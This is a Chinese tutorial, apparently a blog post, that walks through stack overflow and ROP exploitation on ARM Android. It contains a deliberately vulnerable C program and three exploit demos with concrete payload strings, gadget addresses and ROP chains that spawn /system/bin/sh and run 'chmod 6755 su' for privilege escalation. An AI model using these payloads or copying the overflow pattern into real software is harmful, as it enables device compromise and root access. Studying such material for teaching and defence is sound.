#include <stdio.h>
#include <string.h>
int bof(FILE *badfile){
char buffer[20];
fread(buffer, sizeof(char), 100, badfile);
return 1;
}
int main(){
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 0;
}
DEMO的逻辑很简单,就是从badfile文件中读取最长100字节的数据,然而buffer的长度只有20字节,所以这里是有可能发现栈溢出的。
_main:
pushl %ebp
movl %esp, %ebp
andl $-16, %esp
subl $32, %esp
call ___main
movl $LC0, 4(%esp)
movl $LC1, (%esp)
call _fopen
movl %eax, 28(%esp)
movl 28(%esp), %eax
movl %eax, (%esp)
call _bof
movl $LC2, (%esp)
call _puts
movl 28(%esp), %eax
movl %eax, (%esp)
call _fclose
movl $0, %eax
leave
ret
_bof:
pushl %ebp
movl %esp, %ebp
subl $56, %esp
movl 8(%ebp), %eax
movl %eax, 12(%esp)
movl $100, 8(%esp)
movl $1, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call _fread
movl $1, %eax
leave
ret
r15即pc,是程序计数器,相对于x86上的EIP
r14即lr,连接寄存器,相对于x86上没有对应
r13即sp,堆栈寄存器,相对于x86上的ESP
r11(r7)即fp, 栈底寄存器,相对于x86上的EBP
r4 – r10, r12,作为局部变量使用
r0 – r3,保存参数的前三个参数,如果存在四个参数,则放入堆栈,这个是跟x86最大的区别
r0保存函数的返回值, 跟x86上保存在EAX一致
ARM里pc可以直接修改,这在一定程度上为ROP攻击提供便利
android上实施ROP攻击
目前市面上大部android手机都是基于ARM平台的,因此理论上在android上实现ROP攻击是可行的,但也需要注意到,android上的libc是bionic libc,而不是普遍使用glibc,google对其提高了其安全性,把大部分涉及r0的指令都优化掉了,这就大大提高了ROP攻击的难度。
攻击演示
前面说了一大堆理论,下面我们开始做一些演示。
所使用的工具如下:
arm-linux-androideabi(android上的交叉编译器)
IDA 6.1(用于远程调试android )
python环境(用于的生成shellcode)
addp (用于快速查找系统函数地址)
addsp(用于快速验证libc.so中的字符串地址是否正确)
DEMO1,修改bof返回地址
我们先以一个简单的DEMO开始,还是前面提及的漏洞DEMO,我们先看看其在ARM下的编码
其中0x83c4是bof调用后要执行的指令,而是0x83ce则是我们跳转的地址。下面是bof的代码
通过代码,我们可以得到其栈的内存分布图,发下所示:
从图可以看到,系统给buffer分析的长度正是好20字节,我们先记录下当前old R7的值,在我的手机上为0xBEFFFA70,而我们需要修改的是LR的值,要改为0x000083CE。因此我们构造如下shellcode:
'A' * 20 + '\x70\xFA\xFF\xBE' + '\xCF\x83\x00\x00' (PS:ARM上是使用LE存储)
另外有一点需要注意,由于在ARM上存在ARM(32位)和Thumb(16位)两种指令格式,系统是通过目标地址的bit[0]作为判断依据的,如果bit[0]为1,则自动转为thumb模式执行,否则则以ARM方式执行。我们的DEMO是以thumb方式编译的,因此最终跳转的地址应该是0x000083CF。
DEMO2,执行system("/system/bin/sh")
再来一个难度高一点。要实现这个DEMO,我们需要先寻找libc.so的基地址,在我手机上,libc.so的基地址是0x40025000,有了基地址,我们就计算出如下地址:
ststem: 0x0001A7E8 + 0x40025000 = 0x4003F7E8
/system/bin/sh: 0x0003AA7F + 0x40025000 = 0x4005FA7F
另外,我们需要寻找适合的gadget来完成对r0的赋值,最后我找到mallinfo函数的片断,可以满足这个要求,见mallinfo的指令:
见0x16F72和0x16F70两条指令,我们可以先跳到0x16F72,把“/system/bin/sh”的地址赋值给r4,接着控制pc,跳转至0x16F70,这样就间接把“/system/bin/sh”赋值给r0了。然后再把pc指向system即可。
列一下我们所关注的地址:
baseaddr: 0x40025000
mallinfo: 0x00016F68 + 0x40025000 = 0x4003BF68
ststem: 0x0001A7E8 + 0x40025000 = 0x4003F7E8
&/system/bin/sh: 0x0003AA7F + 0x40025000 = 0x4005FA7F
MOVS R0, R4 : 0x00016F70 + 0x40025000 = 0x4003BF70
POP {R4, PC}: 0x00016F72 + 0x40025000 = 0x4003BF72
最后我们构造的shellcode如下:
'A' * 24 + '\x73\xBF\x03\x40' + '\x7F\xFA\x05\x40' + '\x71\xBF\x03\x40' + 'A' * 4 + '\xE9\xF7\x03\x40'
DEMO3,执行任意脚本
DEMO2只可以执行"/system/bin/sh",但往往这并不能被利用,因为我们无法跟目标进程通讯,我们往往更希望是直接让root目标进程运行提权脚本。因此在这个demo里,我们实现执行任意的脚本。
我们以“chmod 6755 su”作为试验
首先想到的就是希望把脚本写到buffer里,然后在DEMO2的基础上,把r0的值指向buffer的地址。但实际发现这并不可行,因为system函数本身也需要申请栈空间,见如下代码所示:
system本身是需要申请32字节的栈空间,如果用DEMO2的方式的话,写入buffer的脚本就有可能会被覆盖,示意图如下所示:
这造成buffer最终只能存在7字节长度的脚本,这显然非常不好。因此我们需要另想办法,让sp往hight端递增,寻找类似如下的指令:
add sp, sp, #N
pop {r7, pc}
这种指令可以说到处都是,看到bof最后的指令:
我们先把pc指向ADD SP, SP, #0x20,就可以让SP往前挪32个字节,正好可以抵消掉system的32字节,示意图如下:
再来看一下我们所关注的地址们:
baseaddr: 0x40025000
R0: 0xBEFFFA54
ADD SP, SP, #0x20 : 0x0000839A
POP {R7, PC}: 0x0000839C
最后我们构造出如下shellcode:
'chmod 6755 su' + '\x00' * 11 + '\x9B\x83\x00\x00' + 'A' * 32 + 'A' * 4 + '\x73\xBF\x03\x40' + '\x54\xFA\xFF\xBE' + '\x71\xBF\x03\x40' + 'A' * 4 + '\xE9\xF7\x03\x40'
为了更好解释整个逻辑跳转,下面附上gadgets链示意图:
最后
分享中涉及的所有代码和所使用的工具都可以向我索取
相关参考